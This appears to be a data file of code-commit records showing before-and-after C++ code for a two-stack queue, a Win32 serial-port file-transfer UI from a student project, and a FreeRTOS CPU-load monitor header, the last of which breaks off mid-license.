{"text":"<commit_before>#include <iostream>\n#include <stack>\nusing namespace std;\n\ntemplate <typename T>\nclass MyQueue{\n\tstack<T> stk1;\n\tstack<T> stk2;\n\n\tvoid pour(stack<T>& stk1, stack<T>& stk2) {\n\t\twhile (!stk1.empty()) {\n\t\t\tstk2.push(stk1.top());\n\t\t\tstk1.pop();\n\t\t}\n\t}\n\npublic:\n\tvoid enqueue(T val) {\n\t\tstk1.push(val);\n\t}\n\n\tT dequeue() {\n\t\tpour(stk1, stk2);\n\t\tT ret = stk2.top();\n\t\tstk2.pop();\n\t\tpour(stk2, stk1);\n\t\treturn ret;\n\t}\n\n\tbool empty() {\n\t\treturn stk1.empty();\n\t}\n};\n\ntemplate <typename T>\nvoid test(MyQueue<T> q) {\n\twhile (!q.empty()) {\n\t\tcout << q.dequeue() << \" \";\n\t}\n}\n\nint main() {\n\tMyQueue<int> q;\n\tfor (int i = 1; i <= 10; i++) {\n\t\tq.enqueue(i);\n\t}\n\ttest(q);\n}<commit_msg>3.5 Removed unnecessary pouring<commit_after>#include <iostream>\n#include <stack>\nusing namespace std;\n\ntemplate <typename T>\nclass MyQueue{\n\tstack<T> stk1;\n\tstack<T> stk2;\n\n\tvoid pour(stack<T>& stk1, stack<T>& stk2) {\n\t\twhile (!stk1.empty()) {\n\t\t\tstk2.push(stk1.top());\n\t\t\tstk1.pop();\n\t\t}\n\t}\n\npublic:\n\tvoid enqueue(T val) {\n\t\tif (!stk2.empty())\n\t\t\tpour(stk2, stk1);\n\t\tstk1.push(val);\n\t}\n\n\tT dequeue() {\n\t\tif (!stk1.empty())\n\t\t\tpour(stk1, stk2);\n\t\tT ret = stk2.top();\n\t\tstk2.pop();\n\t\treturn ret;\n\t}\n\n\tbool empty() {\n\t\treturn stk1.empty() && stk2.empty();\n\t}\n};\n\ntemplate <typename T>\nvoid test(MyQueue<T> q) {\n\twhile (!q.empty()) {\n\t\tcout << q.dequeue() << \" \";\n\t}\n}\n\nint main() {\n\tMyQueue<int> q;\n\tfor (int i = 1; i <= 10; i++) {\n\t\tq.enqueue(i);\n\t}\n\ttest(q);\n}<|endoftext|>"}
{"text":"<commit_before>\/\/ Program WinMenu.cpp\n\/\/ COMP 3980, Final Project\n\/\/ Tim Makimov, A009031109\n\n#define STRICT\n\n#include <stdio.h>\n\n#include \"Command.h\"\n#pragma warning (disable: 4096)\n#pragma comment(linker,\"\\\"\/manifestdependency:type='win32' \\\nname='Microsoft.Windows.Common-Controls' version='6.0.0.0' \\\nprocessorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\n\nint WINAPI WinMain(HINSTANCE hInst, HINSTANCE hprevInstance,\n    LPSTR lspszCmdParam, int nCmdShow)\n{\n    MSG Msg;\n    hInstance = hInst;\n    generateViews(hInst, nCmdShow);\n    while (GetMessage(&Msg, NULL, 0, 0))\n    {\n        TranslateMessage(&Msg);\n        DispatchMessage(&Msg);\n    }\n    return Msg.wParam;\n}\n\nLRESULT CALLBACK WndProc(HWND hwnd, UINT Message,\n    WPARAM wParam, LPARAM lParam)\n{\n    HDC hdc = NULL;\n    PAINTSTRUCT paintstruct;\n\n    switch (Message)\n    {\n    case WM_COMMAND:\n\n        if ((HWND)lParam == hConnectButton)\n        {\n            if (comPort[0] == 0)\n            {\n                DialogBox(hInstance, MAKEINTRESOURCE(IDD_COMDIALOG), hwnd, comDialogProc);\n                startConnnection(comPort, hwnd);\n                EnableWindow(hConnectButton, isConnected);\n                EnableWindow(hDisconnectButton, !isConnected);\n            }\n            else {\n                startConnnection(comPort, hwnd);\n                EnableWindow(hConnectButton, isConnected);\n                EnableWindow(hDisconnectButton, !isConnected);\n            }\n            break;\n        }\n        if ((HWND)lParam == hDisconnectButton)\n        {\n            stopConnnection();\n            EnableWindow(hConnectButton, !isConnected);\n            EnableWindow(hDisconnectButton, isConnected);\n            break;\n        }\n        if ((HWND)lParam == browseButton)\n        {\n            attach();\n            sendNewFile(filePath);\n\n            break;\n        }\n        switch (LOWORD(wParam))\n        {\n        case IDM_NEWCONNECT:\n            DialogBox(hInstance, MAKEINTRESOURCE(IDD_COMDIALOG), hwnd, comDialogProc); \/\/ a dialog for the list of available com port.\n            break;\n\n        case IDM_PROPERTIES: \/\/ popup a dialog for changing the properties of selected com port.\n            selectCommPort(hComm, comPort, hwnd, isConnected);\n            break;\n\n        case IDM_HELP:\n            MessageBox(NULL, \n                    \"Click CONNECT to connect to the default COMM port or select a COMM port from settings and then click CONNECT.\", \n                    \"\", MB_OK);\n            break;\n        case IDM_Exit:\n            PostQuitMessage(0);\n            break;\n        }\n        break;\n\n    case WM_CHAR:    \/\/ Process keystroke\n        if (wParam == 27)\n        {\n            stopConnnection();\n            EnableWindow(hConnectButton, !isConnected);\n            EnableWindow(hDisconnectButton, isConnected);\n        }\n        break;\n\n    case WM_PAINT:        \/\/ Process a repaint message\n        hdc = BeginPaint(hwnd, &paintstruct); \/\/ Acquire DC\n        TextOut(hdc, 0, 0, str, strlen(str)); \/\/ output character\n        EndPaint(hwnd, &paintstruct); \/\/ Release DC\n        break;\n\n    case WM_DESTROY:    \/\/ Terminate program\n        PostQuitMessage(0);\n        break;\n    default:\n        return DefWindowProc(hwnd, Message, wParam, lParam);\n    }\n    return 0;\n}\n\nvoid generateViews(HINSTANCE hInst, int nCmdShow)\n{\n    HWND hwnd;\n    WNDCLASSEX Wcl;\n\n    Wcl.cbSize = sizeof(WNDCLASSEX);\n    Wcl.style = CS_HREDRAW | CS_VREDRAW;\n    Wcl.hIcon = LoadIcon(NULL, IDI_APPLICATION); \/\/ large icon \n    Wcl.hIconSm = NULL; \/\/ use small version of large icon\n    Wcl.hCursor = LoadCursor(NULL, IDC_ARROW);  \/\/ cursor style\n\n    Wcl.lpfnWndProc = WndProc;\n    Wcl.hInstance = hInst;\n    Wcl.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); \/\/white background\n    Wcl.lpszClassName = Name;\n\n    Wcl.lpszMenuName = \"MYMENU\"; \/\/ The menu Class\n    Wcl.cbClsExtra = 0;      \/\/ no extra memory needed\n    Wcl.cbWndExtra = 0;\n\n    if (!RegisterClassEx(&Wcl))\n        return;\n\n    hwnd = CreateWindow(Name, \n                        Name, \n                        WS_OVERLAPPEDWINDOW ^ WS_THICKFRAME,            \n                        CW_USEDEFAULT, CW_USEDEFAULT,\n                        WIN_WIDTH, WIN_LENGTH,\n                        NULL, \/\/parent of window\n                        NULL, \/\/menu bar\n                        hInst, \/\/ first aparam in WinMain\n                        NULL);\n    \n    ShowWindow(hwnd, nCmdShow);\n    UpdateWindow(hwnd);\n    createUIWindows(hwnd);\n    DialogBox(hInstance, MAKEINTRESOURCE(IDD_COMDIALOG), hwnd, comDialogProc); \/\/ a dialog for the list of available com port.\n}\n\nvoid selectCommPort(HANDLE hComm, LPCSTR lpszCommName, HWND hwnd, bool &connected)\n{\n    COMMCONFIG    cc;\n    cc.dwSize = sizeof(COMMCONFIG);\n    cc.wVersion = 0x100;\n    GetCommConfig(hComm, &cc, &cc.dwSize);\n    if (!CommConfigDialog(lpszCommName, hwnd, &cc))\n    {\n        MessageBox(NULL, \"Error connecting to COMM port\", lpszCommName, MB_OK);\n        return;\n    }\n    else\n    {\n        startConnnection(comPort, hwnd);\n    }\n    if ((SetCommState(hComm, &cc.dcb)) == FALSE)\n    {\n        return;\n    }\n}\n\n\nvoid createUIWindows(HWND hwnd)\n{\n    userInputTextBox = CreateWindow(\"STATIC\",\n        NULL,\n        WS_BORDER | WS_CHILD | WS_VISIBLE | WS_DISABLED,\n        USERINPUT_TEXTBOX_START_X,\n        USERINPUT_TEXTBOX_START_Y,\n        TEXTBOX_WIDTH,\n        TEXTBOX_HEIGTH,\n        hwnd,\n        NULL,\n        NULL,\n        NULL\n    );\n\n    readInputTextBox = CreateWindow(\n        \"STATIC\",\n        NULL,\n        WS_BORDER | WS_CHILD | WS_VISIBLE | WS_DISABLED, \n        READINPUT_TEXTBOX_START_X,\n        READINPUT_TEXTBOX_START_Y,\n        TEXTBOX_WIDTH,\n        TEXTBOX_HEIGTH,\n        hwnd,\n        NULL,\n        NULL,\n        NULL\n    );\n\n    \/\/add brush http:\/\/stackoverflow.com\/questions\/10063604\/after-createwindow-how-to-give-the-window-a-color\n    statsTextBox = CreateWindow(\n        \"EDIT\",\n        NULL,\n        WS_BORDER | WS_CHILD | WS_VISIBLE | WS_DISABLED,\n        STATS_TEXTBOX_START_X,\n        STATS_TEXTBOX_START_Y,\n        210,\n        TEXTBOX_HEIGTH,\n        hwnd,\n        NULL,\n        NULL,\n        NULL\n    );\n\n\n    hConnectButton = CreateWindow(\n        \"BUTTON\",\n        \"CONNECT\",\n        WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON,\n        CONNECT_BUTTON_X,\n        CONNECT_BUTTON_Y,\n        BUTTON_WIDTH,\n        BUTTON_HEIGHT,\n        hwnd,\n        NULL,\n        NULL,\n        NULL\n    );\n    hDisconnectButton = CreateWindow(\n        \"BUTTON\",\n        \"DISCONNECT\",\n        WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON | WS_DISABLED,\n        DISCONNECT_BUTTON_X,\n        DISCONNECT_BUTTON_Y,\n        BUTTON_WIDTH,\n        BUTTON_HEIGHT,\n        hwnd,\n        NULL,\n        NULL,\n        NULL\n    );\n\n    browseButton = CreateWindow(\n        \"BUTTON\",\n        \"ATTACH\",\n        WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON,\n        ATTACH_BUTTON_X,\n        ATTACH_BUTTON_Y,\n        BUTTON_WIDTH,\n        BUTTON_HEIGHT,\n        hwnd,\n        NULL,\n        NULL,\n        NULL\n    );\n\n    \/\/Change these to static final                                                                           \n    int x, w, y, h;\n    y = 200; h = 20;\n    x = 0; w = 50;\n    \n    x += w; w = 60;\n    label2 = CreateWindow(\n        \"edit\",\n        NULL,\n        WS_CHILD | WS_VISIBLE | WS_TABSTOP,\n        x,\n        y,\n        w,\n        h,\n        hwnd,\n        NULL,\n        NULL,\n        NULL\n    );\n        \n    SetWindowText(label2, \"STATS:\");\n\n}\n\n\nvoid attach()\n{\n    \/\/ open a file name\n    ZeroMemory(&ofn, sizeof(ofn));\n    ofn.lStructSize = sizeof(ofn);\n    ofn.hwndOwner = NULL;\n    ofn.lpstrFile = szFile;\n    ofn.lpstrFile[0] = '\\0';\n    ofn.nMaxFile = sizeof(szFile);\n    ofn.lpstrFilter = \"All\\0*.*\\0Text\\0*.TXT\\0\";\n    ofn.nFilterIndex = 1;\n    ofn.lpstrFileTitle = NULL;\n    ofn.nMaxFileTitle = 0;\n    ofn.lpstrInitialDir = NULL;\n    ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST | OFN_EXPLORER | OFN_ENABLEHOOK;\n\n    if (GetOpenFileName(&ofn))\n    {\n        filePath = ofn.lpstrFile;\n        \n        \/\/ Now simply display the file name \n        MessageBox(NULL, filePath, \"File Name\", MB_OK);\n    }\n}\n\nvoid availableCOM(HWND hwnd) {\n    TCHAR szDevices[65535];\n    unsigned long dwChars = QueryDosDevice(NULL, szDevices, 65535); \/\/ get all available devices.\n    TCHAR *ptr = szDevices;\n\n    while (dwChars)\n    {\n        int port;\n        if (sscanf_s(ptr, \"COM%d\", &port) == 1 || sscanf_s(ptr, \"\\\\\\\\.\\\\COM%d\", &port) == 1) \/\/ if the availbel device name begins with COM,\n        {\n            SendDlgItemMessage(hwnd, IDM_COM_COMBOBOX, CB_ADDSTRING, 0, (LPARAM)ptr); \/\/ populates the combobox with the device name.\n        }\n        TCHAR *temp_ptr = strchr(ptr, 0);\n        dwChars -= (DWORD)((temp_ptr - ptr) \/ sizeof(TCHAR) + 1);\n        ptr = temp_ptr + 1; \/\/ point to next device.\n    }\n    SendDlgItemMessage(hwnd, IDM_COM_COMBOBOX, CB_SETCURSEL, (WPARAM)0, 0L); \/\/ set focus on the first item in the list.\n}\n\n\nINT_PTR CALLBACK comDialogProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) {\n    switch (message) {\n    case WM_INITDIALOG:\n        availableCOM(hDlg); \/\/ Check the list of available com ports and populate the combobox with it.\n        break;\n\n    case WM_COMMAND:\n        switch (wParam) {\n        case IDM_CANCEL:\n            EndDialog(hDlg, 0); \/\/ close dialog\n            return TRUE;\n        case IDM_OK:\n            GetDlgItemText(hDlg, IDM_COM_COMBOBOX, comPort, sizeof(comPort)); \/\/ get selected port name from the list.\n            \/\/session.initilize(comPort); \/\/ initilize the session for the selected com port.\n            EndDialog(hDlg, 0); \/\/ close dialog\n            return TRUE;\n        }\n        break;\n\n    case WM_SETFOCUS:\n        return TRUE;\n    }\n    return FALSE;\n}\n\n<commit_msg>TM: new main function that provides controls to dialog based UI<commit_after>\/\/ Program WinMenu.cpp\n\/\/ COMP 3980, Final Project\n\/\/ Tim Makimov, A009031109\n\n#define STRICT\n\n#include \"Command.h\"\n#pragma warning (disable: 4096)\n#pragma comment(linker,\"\\\"\/manifestdependency:type='win32' \\\nname='Microsoft.Windows.Common-Controls' version='6.0.0.0' \\\nprocessorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\n\nint WINAPI WinMain(HINSTANCE hInst, HINSTANCE hprevInstance, LPSTR lspszCmdParam, int nCmdShow)\n{\n\thInstance = hInst;\n\thwnd1 = CreateDialog(hInst, MAKEINTRESOURCE(IDD_DIALOG_MAIN), NULL, WndProc);\n\tHMENU hMenu = LoadMenu(hInst, MAKEINTRESOURCE(MENU_MYMENU));\n\tSetMenu(hwnd1, hMenu);\n\n\t\/\/ Display & update window\n\tShowWindow(hwnd1, nCmdShow);\n\tUpdateWindow(hwnd1);\n\n\twhile (GetMessage(&Msg, NULL, 0, 0))\n\t{\n\t\tTranslateMessage(&Msg);\n\t\tDispatchMessage(&Msg);\n\t}\n\treturn Msg.wParam;\n}\n\nBOOL CALLBACK WndProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam)\n{\n\tswitch (Message)\n\t{\n\tcase WM_COMMAND:\n\t\tif ((HWND)lParam == GetDlgItem(hwnd, BTN_CONNECT))\n\t\t{\n\t\t\tDialogBox(hInstance, MAKEINTRESOURCE(IDD_COMDIALOG), hwnd, comDialogProc);\n\t\t\tif (comPort[0] != 0)\n\t\t\t{\n\t\t\t\tstartConnnection(comPort, hwnd);\n\t\t\t\t\/\/configCommPort(hComm, comPort, hwnd);\n\t\t\t\tButton_Enable(GetDlgItem(hwnd, BTN_CONNECT), FALSE);\n\t\t\t\tButton_Enable(GetDlgItem(hwnd, BTN_DISCONNECT), TRUE);\n\t\t\t\tButton_Enable(GetDlgItem(hwnd, BTN_ATTACH), TRUE);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\tif ((HWND)lParam == GetDlgItem(hwnd, BTN_DISCONNECT))\n\t\t{\n\t\t\tstopConnnection();\n\t\t\tButton_Enable(GetDlgItem(hwnd, BTN_CONNECT), TRUE);\n\t\t\tButton_Enable(GetDlgItem(hwnd, BTN_DISCONNECT), FALSE);\n\t\t\tButton_Enable(GetDlgItem(hwnd, BTN_ATTACH), FALSE);\n\t\t\tbreak;\n\t\t}\n\t\tif ((HWND)lParam == GetDlgItem(hwnd, BTN_ATTACH))\n\t\t{\n\t\t\tif (attach())\n\t\t\t{\n\t\t\t\tsendNewFile(filePath);\n\t\t\t\t\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\tif ((HWND)lParam == GetDlgItem(hwnd, BTN_SEND))\n\t\t{\n\t\t\tGetWindowText(GetDlgItem(hwnd, EDIT_TX), message, 500);\n\t\t\t\/\/test Send button and the user's iput\n\t\t\tEdit_SetText(GetDlgItem(hwnd, EDIT_RX), message);\n\t\t}\n\t\tswitch (LOWORD(wParam))\n\t\t{\n\t\tcase IDCANCEL:\n\t\t\tDestroyWindow(hwnd);\n\t\t\tbreak;\n\n\t\t\/\/case MENU_NEW_CON:\n\t\t\/\/\thwnd2 = CreateDialog(hInstance, MAKEINTRESOURCE(IDD_COMDIALOG), hwnd, comDialogProc); \/\/ a dialog for the list of available com port.\n\t\t\/\/\tbreak;\n\n\t\tcase MENU_PROP: \/\/ popup a dialog for changing the properties of selected com port.\n\t\t\t\tconfigCommPort(hComm, comPort, hwnd);\n\t\t\tbreak;\n\n\t\tcase MENU_HELP:\n\t\t\tMessageBox(NULL,\n\t\t\t\t\"Click CONNECT to connect to the default COMM port or select a COMM port from settings and then click CONNECT.\",\n\t\t\t\t\"\", MB_OK);\n\t\t\tbreak;\n\t\tcase MENU_EXIT:\n\t\t\tPostQuitMessage(0);\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tcase WM_CHAR:\t\/\/ Process keystroke\n\t\tif (wParam == 27)\n\t\t{\n\t\t\tstopConnnection();\n\t\t\tButton_Enable(GetDlgItem(hwnd, BTN_CONNECT), TRUE);\n\t\t\tButton_Enable(GetDlgItem(hwnd, BTN_DISCONNECT), FALSE);\n\t\t\tButton_Enable(GetDlgItem(hwnd, BTN_ATTACH), FALSE);\n\t\t}\n\t\tbreak;\n\tcase WM_DESTROY:\t\/\/ Terminate program\n\t\tPostQuitMessage(0);\n\t\tbreak;\n\tdefault:\n\t\treturn FALSE;\n\t}\n\treturn FALSE;\n}\n\nvoid configCommPort(HANDLE hComm, LPCSTR lpszCommName, HWND hwnd)\n{\n\tcc.dwSize = sizeof(COMMCONFIG);\n\tcc.wVersion = 0x100;\n\tGetCommConfig(hComm, &cc, &cc.dwSize);\n\tif (!CommConfigDialog(lpszCommName, hwnd, &cc))\n\t{\n\t\tMessageBox(NULL, \"Error connecting to COMM port\", lpszCommName, MB_OK);\n\t\treturn;\n\t}\n\tif (!(SetCommState(hComm, &cc.dcb)))\n\t{\n\t\tMessageBox(NULL, \"Error configuring comm settings\", lpszCommName, MB_OK);\n\t\treturn;\n\t}\n}\n\nBOOL attach()\n{\n\t\/\/ open a file name\n\tZeroMemory(&ofn, sizeof(ofn));\n\tofn.lStructSize = sizeof(ofn);\n\tofn.hwndOwner = NULL;\n\tofn.lpstrFile = szFile;\n\tofn.lpstrFile[0] = '\\0';\n\tofn.nMaxFile = sizeof(szFile);\n\tofn.lpstrFilter = \"All\\0*.*\\0Text\\0*.TXT\\0\";\n\tofn.nFilterIndex = 1;\n\tofn.lpstrFileTitle = NULL;\n\tofn.nMaxFileTitle = 0;\n\tofn.lpstrInitialDir = NULL;\n\tofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST | OFN_EXPLORER | OFN_ENABLEHOOK;\n\n\tif (GetOpenFileName(&ofn))\n\t{\n\t\tfilePath = ofn.lpstrFile;\n\t\t\/\/ Now simply display the file name \n\t\tEdit_SetText(GetDlgItem(hwnd1, ATTACHMENT), filePath);\n\t\t\/\/MessageBox(NULL, filePath, \"File Name\", MB_OK);\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nvoid availableCOM(HWND hwnd) {\n\tTCHAR szDevices[65535];\n\tunsigned long dwChars = QueryDosDevice(NULL, szDevices, 65535); \/\/ get all available devices.\n\tTCHAR *ptr = szDevices;\n\n\twhile (dwChars)\n\t{\n\t\tint port;\n\t\tif (sscanf_s(ptr, \"COM%d\", &port) == 1 || sscanf_s(ptr, \"\\\\\\\\.\\\\COM%d\", &port) == 1) \/\/ if the availbel device name begins with COM,\n\t\t{\n\t\t\tSendDlgItemMessage(hwnd, IDM_COM_COMBOBOX, CB_ADDSTRING, 0, (LPARAM)ptr); \/\/ populates the combobox with the device name.\n\t\t}\n\t\tTCHAR *temp_ptr = strchr(ptr, 0);\n\t\tdwChars -= (DWORD)((temp_ptr - ptr) \/ sizeof(TCHAR) + 1);\n\t\tptr = temp_ptr + 1; \/\/ point to next device.\n\t}\n\tSendDlgItemMessage(hwnd, IDM_COM_COMBOBOX, CB_SETCURSEL, (WPARAM)0, 0L); \/\/ set focus on the first item in the list.\n}\n\nINT_PTR CALLBACK comDialogProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) {\n\tswitch (message) {\n\tcase WM_INITDIALOG:\n\t\tavailableCOM(hDlg); \/\/ Check the list of available com ports and populate the combobox with it.\n\t\tbreak;\n\tcase WM_COMMAND:\n\t\tswitch (wParam) {\n\t\tcase IDCANCEL:\n\t\t\tEndDialog(hDlg, 0); \/\/ close dialog\n\t\t\treturn TRUE;\n\t\tcase IDM_CANCEL:\n\t\t\tEndDialog(hDlg, 0); \/\/ close dialog\n\t\t\treturn TRUE;\n\t\tcase IDM_OK:\n\t\t\tGetDlgItemText(hDlg, IDM_COM_COMBOBOX, comPort, sizeof(comPort)); \/\/ get selected port name from the list.\n\t\t\t\/\/session.initilize(comPort); \/\/ initilize the session for the selected com port.\n\t\t\tEndDialog(hDlg, 0); \/\/ close dialog\n\t\t\treturn TRUE;\n\t\t}\n\t\tbreak;\n\n\tcase WM_SETFOCUS:\n\t\treturn TRUE;\n\t}\n\treturn FALSE;\n}<|endoftext|>"}
{"text":"<commit_before>\/** \\copyright\n * Copyright (c) 2015, Balazs Racz\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are  permitted provided that the following conditions are met:\n * \n *  - Redistributions of source code must retain the above copyright notice,\n *    this list of conditions and the following disclaimer.\n *\n *  - Redistributions in binary form must reproduce the above copyright notice,\n *    this list of conditions and the following disclaimer in the documentation\n *    and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * \\file CpuLoad.hxx\n * Class for maintining a CPU load indication.\n *\n * @author Balazs Racz\n * @date 30 August 2015\n *\/\n\n#ifndef _OS_CPULOAD_HXX_\n#define _OS_CPULOAD_HXX_\n\n#include <algorithm>\n\n#include \"executor\/StateFlow.hxx\"\n#include \"utils\/SimpleQueue.hxx\"\n#include \"utils\/Singleton.hxx\"\n#include \"utils\/StringPrintf.hxx\"\n\nextern \"C\" {\n    \/\/\/ Call this function repeatedly from a hardware timer to feed the CPUload\n    \/\/\/ class.\n    \/\/\/ @param irq should be zero if parent is the main context, otherwise the\n    \/\/\/ irq number.\n    void cpuload_tick(unsigned irq);\n}\n \n\/\/\/ Singleton class that records the CPU load under FreeRTOS.\n\/\/\/\n\/\/\/ Usage: \n\/\/\/\n\/\/\/ . create a single (global) instance of this class.\n\/\/\/\n\/\/\/ . repeatedly call cpuload_tick() from a hardware timer. A rate of 100 Hz is\n\/\/\/ usually fine.\n\/\/\/\n\/\/\/ . retrieve CPU load when desired from the object of this class or via\n\/\/\/   Singleton<CpuLoad>::instance().\nclass CpuLoad : public Singleton<CpuLoad> {\npublic:\n    CpuLoad() {}\n\n    ~CpuLoad()\n    {\n        while (!perKeyCost_.empty())\n        {\n            delete perKeyCost_.pop_front();\n        }\n    }\n\n    \/\/\/ @returns the CPU load as an integer between 0 and 100. The load is\n    \/\/\/ averaged over the past short amount of time.\n    uint8_t get_load();\n\n    \/\/\/ Return the maximum consecutive count that busy was measured, clipped to\n    \/\/\/ 255.\n    uint8_t get_max_consecutive() {\n        return maxConsecutive_;\n    }\n\n    \/\/\/ Reset the maximum consecutive busy count.\n    void clear_max_consecutive() {\n        maxConsecutive_ = 0;\n    }\n\n    \/\/\/ Returns the peak count over 16 ticks.\n    uint8_t get_peak_over_16_counts() {\n        return peakOver16Counts_;\n    }\n\n    \/\/\/ Reset the peak count over 16 ticks.\n    void clear_peak_over_16_counts() {\n        peakOver16Counts_ = 0;\n    }\n\n    \/\/\/ @return 0 if we have not found a new key recently, otherwise the value\n    \/\/\/ of the new key found. Clears the new key.\n    uintptr_t new_key()\n    {\n        auto k = newKey_;\n        newKey_ = 0;\n        return k;\n    }\n\n    \/\/\/ Defines how to print a given key. Must be called from the main executor.\n    void set_key_description(uintptr_t key, string description)\n    {\n        auto it = perKeyCost_.begin();\n        for (; it != perKeyCost_.end(); ++it)\n        {\n            if (it->key == key)\n            {\n                it->description = std::move(description);\n                return;\n            }\n        }\n        auto *kk = new KeyInfo;\n        kk->key = key;\n        kk->description = std::move(description);\n        perKeyCost_.insert(it, kk);\n    }\n\n    \/\/\/ Returns delta usage since last call by utilization key.\n    \/\/\/ @param output will be populated with data, utilization (number of ticks\n    \/\/\/ in this key since last invocation).\n    uint32_t get_utilization_delta(\n        std::vector<pair<unsigned, string *>> *output)\n    {\n        HASSERT(output);\n        output->clear();\n        for (auto it = perKeyCost_.begin(); it != perKeyCost_.end(); ++it)\n        {\n            volatile unsigned curr = it->rolling_count;\n            unsigned diff = curr - it->last_count;\n            it->last_count = curr;\n            if (diff > 0)\n            {\n                output->emplace_back(diff, &it->description);\n            }\n        }\n        uint32_t ret = countSinceUpdate_;\n        countSinceUpdate_ = 0;\n        return ret;\n    }\n\nprivate:\n    friend void cpuload_tick(unsigned);\n    \/\/\/ Adds a value to the rolling average.\n    \/\/\/ @param busy false when idle\n    \/\/\/ @param key 0 if CPU is idle at this time, otherwise a key on what is\n    \/\/\/ taking time.\n    inline void record_value(bool busy, uintptr_t key);\n\n    \/\/\/ Internal state for the rolling average (EWMA). This is a 0+24bit fixed\n    \/\/\/ point format, the top 8 bits are always 0 to allow overflow-less\n    \/\/\/ multiplication. 0x01000000 would be 1.0, 0x00ffffff is 0.99999...\n    uint32_t avg_{0};\n\n    \/\/\/ Number of ticks we've seen since last updating the key info.\n    uint32_t countSinceUpdate_{0};\n\n    \/\/\/ Temporary buffer that the interrupt can write unknown keys to.\n    uintptr_t newKey_{0};\n\n    struct KeyInfo : public QMember\n    {\n        \/\/\/ Which cost key this entry belongs to\n        uintptr_t key;\n        \/\/\/ textual description on how to print the cost key\n        string description;\n        \/\/\/ what is the last printed cost offset\n        uint32_t last_count{0};\n        \/\/\/ rolling count of cost offsets updated by the interrupt\n        uint32_t rolling_count{0};\n    };\n\n    \/\/\/ Collects cost information on a per-key basis.\n    TypedQueue<KeyInfo> perKeyCost_;\n\n    \/\/\/ Streak of busy ticks.\n    uint8_t consecutive_{0};\n    \/\/\/ Longest streak we've seen.\n    uint8_t maxConsecutive_{0};\n    \/\/\/ Rolling window of the last 16 counts.\n    uint16_t last16Bits_{0};\n    \/\/\/ Largest value we've seen of how busy we were over 16 counts.\n    uint8_t peakOver16Counts_{0};\n};\n\nclass CpuLoadLog : public StateFlowBase\n{\npublic:\n    CpuLoadLog(Service *service)\n        : StateFlowBase(service)\n    {\n        start_flow(STATE(log_and_wait));\n    }\n\nprivate:\n    Action log_and_wait()\n    {\n        auto *l = CpuLoad::instance();\n        LOG(INFO, \"Load: avg %3d max streak %d max of 16 %d\", l->get_load(),\n            l->get_max_consecutive(), l->get_peak_over_16_counts());\n        l->clear_max_consecutive();\n        l->clear_peak_over_16_counts();\n        vector<pair<unsigned, string *>> per_task_ticks;\n        unsigned c = l->get_utilization_delta(&per_task_ticks);\n        std::sort(\n            per_task_ticks.begin(), per_task_ticks.end(), std::greater<>());\n        string details;\n        for (volatile auto it : per_task_ticks)\n        {\n            int perc = it.first * 1000 \/ c;\n            details += StringPrintf(\" | %d.%d:\", perc \/ 10, perc % 10);\n            details += *it.second;\n        }\n        log_output((char *)details.data(), details.size());\n        auto k = l->new_key();\n        if (k > 300)\n        {\n            char *name = pcTaskGetName((TaskHandle_t)k);\n            l->set_key_description(k, name);\n        }\n        else\n        {\n            l->set_key_description(k, StringPrintf(\"irq-%u\", k));\n        }\n        return sleep_and_call(&timer_, MSEC_TO_NSEC(2000), STATE(log_and_wait));\n    }\n\n    StateFlowTimer timer_{this};\n};\n\n#endif \/\/ _OS_CPULOAD_HXX_\n<commit_msg>Fixes a declaration so it will work with older GCC versions.<commit_after>\/** \\copyright\n * Copyright (c) 2015, Balazs Racz\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are  permitted provided that the following conditions are met:\n * \n *  - Redistributions of source code must retain the above copyright notice,\n *    this list of conditions and the following disclaimer.\n *\n *  - Redistributions in binary form must reproduce the above copyright notice,\n *    this list of conditions and the following disclaimer in the documentation\n *    and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 